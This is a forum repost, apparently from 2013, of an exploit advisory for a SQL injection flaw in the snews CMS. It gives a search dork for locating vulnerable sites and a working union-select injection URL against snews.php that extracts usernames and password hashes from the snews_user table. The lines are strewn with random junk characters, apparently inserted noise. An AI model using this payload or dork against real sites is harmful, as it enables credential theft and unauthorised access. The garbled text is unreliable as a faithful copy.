标题: CMS snews SQL Injection Vulnerability
" S0 R( G) u. h* w# o6 p6 c作者: By onestree
+ t! U" d& W) {, E; k5 [- H下载地址 : http://snewscms.com/
D [) b" M+ v测试平台 : ubuntu 12.10 / win 7
" y& b/ q+ P/ t/ }5 V& w1 I关键词: inurl:"tanyakan pada rumput yang bergoyang"
$ H: Q( k/ d" m: U
/ [+ [5 q& A [6 s7 K! b! a
& ~8 g7 y6 E7 y5 `8 {*************************************************************
8 E7 ?6 o1 ~/ M' E! V
( I2 C( @) c$ m: V. w! ISQL poc:
; _' \9 e7 L# `
/ O5 Z6 ?/ G8 B) Q: Jhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]' S: E. Z* D, G+ I4 e
6 ?' m+ R' g2 G1 i* g
示例
8 @$ m/ }6 { ?8 X! d 2 c* W# E) ]. \8 }9 V
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*; ^; F/ z9 W/ |/ k# n4 X
4 U) I+ ^1 Z |8 X
# w% e) U0 K i# N' h/ o' x* F2 W& d致谢:* U4 x- @9 T( j
% B- O' C* G4 L
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell$ b0 f+ Q, J# X/ y0 H
0 h! r4 | w. p% t indonesiancoder - moeslimh4x0r - go-coder9 r1 o; x9 q' F h) X% v5 n& F) O
v# J: A; W- B5 U6 Z
spesial my hunny :*
% B% I; b! b: p* z |
发表于 2013-1-23 08:55:06
收藏
支持
反对